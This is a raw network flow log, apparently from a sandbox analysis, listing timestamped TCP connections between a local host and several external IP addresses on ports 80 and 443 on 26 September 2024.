Sep 26, 2024 12:11:58.910573006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910588026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910595894 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910612106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910619974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910623074 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910659075 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910670996 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910690069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910696030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910744905 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910747051 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910753012 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910778046 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910785913 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910799026 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910828114 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910931110 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910945892 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910954952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910963058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910978079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910979033 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911010981 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911047935 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911098003 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911103010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911113024 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911118031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911149025 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911192894 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911201954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911251068 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911551952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911557913 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911573887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911607981 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911631107 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911636114 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911644936 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911659956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911689043 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911746979 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911797047 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911829948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911844969 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911853075 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911859989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911875010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911889076 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911911964 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.911963940 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911978960 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911987066 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.911993027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912009001 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.912040949 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.912623882 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912671089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912672997 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.912678957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912734032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.912798882 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912806988 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912822008 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912830114 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912857056 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.912877083 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.912941933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912950993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912966967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912974119 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.912998915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.913002014 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.913012028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.913019896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.913021088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.913049936 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.915167093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.915185928 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.915235996 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:03.023250103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:03.023324966 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:11.258085012 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:11.263051987 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:11.263153076 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:11.263403893 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:11.268229961 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:11.735984087 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:11.740338087 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:11.747524023 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:11.855942965 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:11.909332991 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:11.909365892 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:11.909548998 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:11.910623074 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:11.918523073 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:11.918545008 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.390651941 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.390734911 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.396594048 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.396610022 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.396912098 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.444425106 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.474646091 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.515441895 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.594765902 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.595017910 CEST	443	49734	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.595071077 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.601614952 CEST	49734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.605127096 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:12.609952927 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:12.656490088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:12.705838919 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:12.710669041 CEST	49735	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.710700989 CEST	443	49735	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.710784912 CEST	49735	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.711029053 CEST	49735	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:12.711041927 CEST	443	49735	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:12.754472017 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:13.170532942 CEST	443	49735	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:13.183810949 CEST	49735	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:13.183842897 CEST	443	49735	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:13.312670946 CEST	443	49735	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:13.312952042 CEST	443	49735	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:13.313040018 CEST	49735	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:13.313405991 CEST	49735	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:13.317797899 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:13.319540024 CEST	49736	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:13.323364973 CEST	80	49733	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:13.323430061 CEST	49733	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:13.324551105 CEST	80	49736	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:13.324619055 CEST	49736	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:13.324709892 CEST	49736	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:13.329557896 CEST	80	49736	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:13.952575922 CEST	80	49736	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:13.962372065 CEST	49737	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:13.962470055 CEST	443	49737	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:13.962547064 CEST	49737	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:13.963599920 CEST	49737	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:13.963634014 CEST	443	49737	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:14.004379034 CEST	49736	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:14.753242970 CEST	443	49737	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:14.755007982 CEST	49737	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:14.755079985 CEST	443	49737	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:14.917979956 CEST	443	49737	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:14.918199062 CEST	443	49737	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:14.918277979 CEST	49737	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:14.918646097 CEST	49737	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:14.923276901 CEST	49736	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:14.924312115 CEST	49739	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:14.928668022 CEST	80	49736	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:14.928730965 CEST	49736	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:14.929075003 CEST	80	49739	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:14.929532051 CEST	49739	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:14.929733992 CEST	49739	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:14.934480906 CEST	80	49739	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:15.820481062 CEST	80	49739	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:15.821845055 CEST	49742	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:15.821883917 CEST	443	49742	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:15.821970940 CEST	49742	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:15.822329044 CEST	49742	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:15.822338104 CEST	443	49742	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:15.863775969 CEST	49739	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:16.327939987 CEST	443	49742	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:16.379414082 CEST	49742	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:16.470629930 CEST	49742	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:16.470650911 CEST	443	49742	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:16.586414099 CEST	443	49742	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:16.586683989 CEST	443	49742	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:16.586774111 CEST	49742	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:16.592060089 CEST	49742	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:16.729924917 CEST	49739	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:16.731792927 CEST	49744	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:16.735187054 CEST	80	49739	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:16.735255957 CEST	49739	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:16.736777067 CEST	80	49744	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:16.736881971 CEST	49744	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:16.737018108 CEST	49744	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:16.741785049 CEST	80	49744	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:17.220571995 CEST	80	49744	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:17.221139908 CEST	49744	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:17.222959995 CEST	49746	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:17.222996950 CEST	443	49746	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:17.223134041 CEST	49746	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:17.223773003 CEST	49746	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:17.223786116 CEST	443	49746	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:17.226593971 CEST	80	49744	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:17.226658106 CEST	49744	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:17.718302011 CEST	443	49746	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:17.730797052 CEST	49746	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:17.730828047 CEST	443	49746	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:17.860445976 CEST	443	49746	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:17.860673904 CEST	443	49746	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:17.860743046 CEST	49746	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:17.861263990 CEST	49746	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:17.866234064 CEST	49747	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:17.872955084 CEST	80	49747	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:17.873053074 CEST	49747	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:17.873158932 CEST	49747	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:17.878279924 CEST	80	49747	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:18.386936903 CEST	80	49747	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:18.388535976 CEST	49749	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:18.388581038 CEST	443	49749	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:18.388704062 CEST	49749	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:18.389117956 CEST	49749	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:18.389130116 CEST	443	49749	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:18.441896915 CEST	49747	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:18.850872993 CEST	443	49749	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:18.852582932 CEST	49749	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:18.852610111 CEST	443	49749	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:18.986769915 CEST	443	49749	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:18.986998081 CEST	443	49749	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:18.987128973 CEST	49749	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:18.987531900 CEST	49749	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:18.991660118 CEST	49747	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:18.992491007 CEST	49750	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:18.996926069 CEST	80	49747	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:18.997312069 CEST	80	49750	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:18.997371912 CEST	49747	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:18.997411966 CEST	49750	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:18.997478962 CEST	49750	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:19.003104925 CEST	80	49750	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:19.777148008 CEST	80	49750	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:19.778487921 CEST	49751	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:19.778539896 CEST	443	49751	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:19.778620958 CEST	49751	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:19.778848886 CEST	49751	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:19.778868914 CEST	443	49751	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:19.819298983 CEST	49750	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:20.267932892 CEST	443	49751	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:20.278096914 CEST	49751	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:20.278131008 CEST	443	49751	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:20.422280073 CEST	443	49751	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:20.422522068 CEST	443	49751	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:20.422627926 CEST	49751	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:20.423016071 CEST	49751	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:20.426372051 CEST	49750	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:20.427402020 CEST	49752	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:20.431639910 CEST	80	49750	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:20.431703091 CEST	49750	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:20.432226896 CEST	80	49752	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:20.432378054 CEST	49752	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:20.432378054 CEST	49752	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:20.437124014 CEST	80	49752	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:20.828211069 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:20.833174944 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:20.833254099 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:20.833508968 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:20.838398933 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:20.887747049 CEST	80	49752	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:20.889005899 CEST	49754	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:20.889040947 CEST	443	49754	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:20.889117002 CEST	49754	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:20.889405012 CEST	49754	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:20.889422894 CEST	443	49754	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:20.941955090 CEST	49752	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:21.404021978 CEST	443	49754	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:21.405894995 CEST	49754	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:21.405919075 CEST	443	49754	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:21.468715906 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468727112 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468751907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468767881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468784094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468796015 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.468799114 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468816042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468832970 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468847990 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.468847990 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.468848944 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468868971 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.468874931 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.468911886 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.473742962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.473774910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.473790884 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.473941088 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.520024061 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.537383080 CEST	443	49754	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:21.537616014 CEST	443	49754	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:21.537687063 CEST	49754	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:21.538048983 CEST	49754	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:21.553061962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555314064 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555376053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555408001 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555424929 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555444956 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.555464029 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.555533886 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555558920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555574894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555603981 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.555624962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555628061 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.555696964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.555741072 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.556504965 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.556520939 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.556535959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.556554079 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.556600094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.556615114 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.556658030 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.557317972 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.557332039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.557347059 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.557362080 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.557393074 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.557409048 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.557415962 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.557451963 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.558130026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.558192015 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.558207989 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.558250904 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.561124086 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.562091112 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.642112017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642149925 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642165899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642182112 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642210960 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642214060 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.642261028 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642271996 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.642276049 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642319918 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.642363071 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642379045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642404079 CEST	49753	80	192.168.2.4	172.86.66.70
